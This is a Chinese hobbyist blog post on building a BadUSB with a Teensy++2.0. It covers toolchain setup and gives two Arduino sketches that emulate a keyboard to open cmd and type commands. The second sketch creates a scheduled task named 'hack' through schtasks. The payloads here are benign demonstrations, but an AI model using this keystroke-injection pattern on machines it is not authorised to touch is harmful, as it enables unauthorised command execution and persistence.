zoukankan      html  css  js  c++  java
  • BadUSB —— Teensy++2.0

    参考http://bbs.pediy.com/showthread.php?t=213719
    前几天发现了BadUSB这个好玩的东西,橡皮鸭和烧鹅都买不起就在某宝上买了个Teensy++2.0

    1.下载Teensyduino。

    https://www.pjrc.com/teensy/td_download.html

    2.安装Arduino。我这里安装1.8.0

    https://pan.baidu.com/s/1b4jPX8#list/path=%2F&parentPath=%2FArduino

    3.安装Teensyduino

    注意红色框起来的是支持的Arduino版本。

    4.可以插入Teensy++2.0开始搞事了

    送份代码:
    注意:
    1.汉化 file->preferences 选择language为简体中文 2.工具里面要选

    代码:

    void setup(){ //初始化
      Keyboard.begin();//开始键盘通信
      delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
      Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
      Keyboard.release(KEY_CAPS_LOCK); //释放大写键
      delay(500);
      Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
      delay(500);  
      Keyboard.press('r');//按下r键  
      delay(500);  
      Keyboard.release(KEY_LEFT_GUI);//松掉win键  
      Keyboard.release('r');//松掉r键  
      //delay(500);  
      Keyboard.println("cmd");//输入cmd进入DOS
      delay(500);
      Keyboard.press(KEY_RETURN);  //按下回车键
      Keyboard.release(KEY_RETURN); //释放回车键
      delay(500);  
      Keyboard.println("Hello Teensy++2.0"); 
      Keyboard.press(KEY_RETURN);  //按下回车键  
      Keyboard.release(KEY_RETURN); //释放回车键  
      delay(500);  
      Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
      Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
      delay(500); 
      Keyboard.println("exit");
      Keyboard.press(KEY_RETURN);  //按下回车键  
      Keyboard.release(KEY_RETURN); //释放回车键  
      Keyboard.end();//结束键盘通讯
    } 
    
    void loop()//循环,这里的代码
    { 
    //循环体 写入你要循环的代码
    }
    

    在附一段代码,在21点打开个txt

    void setup(){ //初始化
      Keyboard.begin();//开始键盘通信
      delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
      Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
      Keyboard.release(KEY_CAPS_LOCK); //释放大写键
      delay(500);
      Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
      delay(500);  
      Keyboard.press('r');//按下r键  
      delay(500);  
      Keyboard.release(KEY_LEFT_GUI);//松掉win键  
      Keyboard.release('r');//松掉r键  
      //delay(500);  
      Keyboard.println("cmd");//输入cmd进入DOS
      delay(500);
      Keyboard.press(KEY_RETURN);  //按下回车键
      Keyboard.release(KEY_RETURN); //释放回车键
      delay(500);  
      Keyboard.println("D:");
      Keyboard.println("echo I'm back!>a.txt"); 
      Keyboard.println("schtasks /create /tn "hack" /tr "d:a.txt" /sc once /st 21:12"); 
      Keyboard.press(KEY_RETURN);  //按下回车键  
      Keyboard.release(KEY_RETURN); //释放回车键  
      delay(500);  
      Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
      Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
      delay(500); 
      Keyboard.println("exit");
      Keyboard.press(KEY_RETURN);  //按下回车键  
      Keyboard.release(KEY_RETURN); //释放回车键  
      Keyboard.end();//结束键盘通讯
    } 
    
    void loop()//循环,这里的代码
    { 
    //循环体 写入你要循环的代码
    }
    

    访问我的蚂蚁笔记博客

  • 相关阅读:
    UML用例图总结
    项目管理心得:一个项目经理的个人体会、经验总结
    UML类图符号简介
    C++中栈和堆上建立对象的区别
    Win32 API
    Python
    remove extra kernel
    Create short cut
    Set Form Position
    Get folder
  • 原文地址:https://www.cnblogs.com/hojun/p/6492064.html
Copyright © 2011-2022 走看看